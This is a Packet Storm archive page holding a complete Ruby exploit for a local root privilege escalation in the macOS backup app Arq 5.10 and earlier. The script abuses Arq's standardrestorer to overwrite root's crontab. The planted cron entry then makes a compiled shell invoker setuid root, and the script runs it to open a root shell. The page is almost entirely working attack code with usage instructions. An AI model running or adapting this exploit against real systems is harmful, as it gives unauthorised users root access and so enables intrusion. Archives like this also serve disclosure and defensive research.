Lucene search

K
packetstormMark WadhamPACKETSTORM:146158
HistoryJan 29, 2018 - 12:00 a.m.

Arq 5.10 Local Privilege Escalation

2018-01-2900:00:00
Mark Wadham
packetstormsecurity.com
25

0.001 Low

EPSS

Percentile

27.0%

`#!/usr/bin/env ruby  
  
#################################################################  
###### Arq <= 5.10 local root privilege escalation exploit ######  
###### by m4rkw - https://m4.rkw.io/blog.html ######  
#################################################################  
###### ######  
###### Usage: ######  
###### ######  
###### ./arq_5.10.rb # stage 1 ######  
###### ######  
###### (wait for next Arq backup run) ######  
###### ######  
###### ./arq_5.10.rb # stage 2 ######  
###### ######  
###### if you know the HMAC from a previous run: ######  
###### ######  
###### ./arq_5.10.rb stage2 <hmac> ######  
###### ######  
#################################################################  
###### USE AT YOUR OWN RISK - THIS WILL OVERWRITE THE ROOT ######  
###### USER'S CRONTAB! ######  
#################################################################  
  
$binary_target = "/tmp/arq_510_exp"  
  
class Arq510PrivEsc  
def initialize(args)  
@payload_file = ".arq_510_exp_payload"  
@hmac_file = ENV["HOME"] + "/.arq_510_exp_hmac"  
@backup_file = ENV["HOME"] + "/" + @payload_file  
  
@target = shell("ls -1t ~/Library/Arq/Cache.noindex/ |head -n1")  
@bucket_uuid = shell("grep 'writing head blob key' " +  
"~/Library/Logs/arqcommitter/* |tail -n1 |sed 's/^.*key //' |cut -d " +  
"' ' -f4")  
@computer_uuid = shell("cat ~/Library/Arq/config/app_config.plist |grep " +  
"-A1 #{@target} |tail -n1 |xargs |cut -d '>' -f2 |cut -d '<' -f1")  
@backup_endpoint = shell("cat ~/Library/Arq/config/targets/#{@target}.target " +  
"|grep -A1 '>endpointDescription<' |tail -n1 |xargs |cut -d '>' -f2 " +  
"| cut -d '<' -f1")  
@latest_backup_set = latest_backup_set  
  
puts " target: #{@target}"  
puts " bucket uuid: #{@bucket_uuid}"  
puts " computer uuid: #{@computer_uuid}"  
puts "backup endpoint: #{@backup_endpoint}"  
puts " latest backup: #{@latest_backup_set}\n\n"  
  
if args.length >0  
method = args.shift  
if respond_to? method  
send method, *args  
end  
else  
if File.exist? @hmac_file  
method = :stage2  
else  
method = :stage1  
end  
  
send method  
end  
end  
  
def shell(command)  
`#{command}`.chomp  
end  
  
def latest_backup_set  
shell("grep 'writing head blob' ~/Library/Logs/arqcommitter/* |tail -n1 " +  
"|sed 's/.*key //' |cut -d ' ' -f1")  
end  
  
def scan_hmac_list  
packsets_path = shell("find ~/Library/Arq/ -type d -name packsets")  
hmac = {}  
  
shell("strings #{packsets_path}/*-trees.db").split("\n").each do |line|  
if (m = line.match(/[0-9a-fA-F]+/)) and m[0].length == 40  
if !hmac.include? m[0]  
hmac[m[0]] = 1  
end  
end  
end  
  
hmac  
end  
  
def stage1  
print "building HMAC cache... "  
  
hmac = scan_hmac_list  
  
File.open(@hmac_file, "w") do |f|  
f.write(@latest_backup_set + "\n" + hmac.keys.join("\n"))  
end  
  
puts "done - stored at #{@hmac_file}"  
  
print "dropping backup file... "  
  
File.open(@backup_file, "w") do |f|  
f.write("* * * * * /usr/sbin/chown root:wheel #{$binary_target} &&" +  
"/bin/chmod 4755 #{$binary_target}\n")  
end  
  
puts "done"  
puts "wait for the next backup run to complete and then run again"  
end  
  
def stage2(target_hmac=nil)  
if !target_hmac  
if !File.exist? @hmac_file  
raise "hmac list not found."  
end  
  
print "loading HMAC cache... "  
  
data = File.read(@hmac_file).split("\n")  
  
puts "done"  
  
initial_backup_set = data.shift  
  
if initial_backup_set == @latest_backup_set  
puts "no new backup created yet"  
exit 1  
end  
  
hmac = {}  
data.each do |h|  
hmac[h] = 1  
end  
  
hmac_targets = []  
  
print "scanning for HMAC targets... "  
  
scan_hmac_list.keys.each do |h|  
if !hmac[h]  
hmac_targets.push h  
end  
end  
  
puts "done"  
  
if hmac_targets.length == 0  
puts "no HMAC targets, unable to continue."  
exit 0  
end  
  
puts "found #{hmac_targets.length} HMAC targets"  
  
hmac_targets.each do |hmac|  
attempt_exploit(hmac)  
end  
else  
attempt_exploit(target_hmac)  
end  
end  
  
def build_payload(hmac)  
d = "\x01\x00\x00\x00\x00\x00\x00\x00"  
e = "\x00\x00\x00\x00\x03"  
  
@overwrite_path = '/var/at/tabs/root'  
  
plist = "  
<plist version=\"1.0\">  
<dict>  
<key>Endpoint</key>  
<string>#{@backup_endpoint}</string>  
<key>BucketUUID</key>  
<string>#{@bucket_uuid}</string>  
<key>BucketName</key>  
<string>/</string>  
<key>ComputerUUID</key>  
<string>#{@computer_uuid}</string>  
<key>LocalPath</key>  
<string>/</string>  
<key>LocalMountPoint</key>  
<string>/</string>  
<key>StorageType</key>  
<integer>1</integer>  
<key>SkipDuringBackup</key>  
<false></false>  
<key>ExcludeItemsWithTimeMachineExcludeMetadataFlag</key>  
<false></false>  
</dict>  
</plist>"  
  
hex = plist.length.to_s(16).rjust(4,'0')  
plist_size = (hex[0,2].to_i(16).chr + hex[2,2].to_i(16).chr)  
  
pfl = @payload_file.length.chr  
opl = @overwrite_path.length.chr  
bel = @backup_endpoint.length.chr  
  
payload = sprintf(  
(  
"%s\$%s%s%s%s\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00" +  
"\x00\x00\x00\x00\x00\x09\x00\x00\x02\xd0\x96\x82\xef\xd8\x00\x00\x00" +  
"\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x08\x30" +  
"\x2e\x30\x30\x30\x30\x30\x30\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +  
"\x00\x00\x00\x00\x00\x00\x00\x00\x00%s%s%s\x28%s\x01\x00\x00\x00%s" +  
"\x00\x00\x00%s%s%s\x00\x00\x00\x16\x00\x00\x00\x02%s\x28%s\x01\x00" +  
"\x00\x00%s\x00\x00\x00%s%s%s\x00\x00\x00\x00\x00\x00\x01\xf5\x00\x00" +  
"\x00\x00\x00\x00\x00\x14\x00%s%s%s\x00\x00\x00\x03%s\x0a"  
).force_encoding('ASCII-8BIT'),  
d, @target,  
d, bel, @backup_endpoint,  
plist_size, plist,  
d, @latest_backup_set,  
d, d, pfl, @payload_file,  
d, hmac,  
d, d, pfl, @payload_file,  
d, opl, @overwrite_path,  
e * 10  
)  
  
return payload  
end  
  
def attempt_exploit(hmac)  
print "trying HMAC: #{hmac} ... "  
  
File.open("/tmp/.arq_exp_510_payload","w") do |f|  
f.write(build_payload(hmac))  
end  
  
output = shell("cat /tmp/.arq_exp_510_payload | " +  
"/Applications/Arq.app/Contents/Resources/standardrestorer 2>/dev/null")  
  
File.delete("/tmp/.arq_exp_510_payload")  
  
if output.include?("Creating directory structure") and !output.include?("failed")  
puts "SUCCESS"  
  
print "compiling shell invoker... "  
  
shellcode = "#include <unistd.h>\nint main()\n{ setuid(0);setgid(0);" +  
"execl(\"/bin/bash\",\"bash\",\"-c\",\"rm -f #{$binary_target};rm -f " +  
"/var/at/tabs/root;/bin/bash\","+ "NULL);return 0; }"  
  
IO.popen("gcc -xc -o #{$binary_target} -", mode="r+") do |io|  
io.write(shellcode)  
io.close  
end  
  
puts "done"  
  
print "waiting for root+s... "  
  
timeout = 61  
i = 0  
stop = false  
  
while i < timeout  
s = File.stat($binary_target)  
  
if s.mode == 0104755 and s.uid == 0  
puts "\n"  
exec($binary_target)  
end  
  
sleep 1  
i += 1  
  
if !stop  
left = 60 - Time.now.strftime("%S").to_i  
left == 1 && stop = true  
  
print "#{left} "  
end  
end  
  
puts "exploit failed"  
exit 0  
else  
puts "FAIL"  
end  
end  
end  
  
Arq510PrivEsc.new(ARGV)  
  
  
`

0.001 Low

EPSS

Percentile

27.0%

Related for PACKETSTORM:146158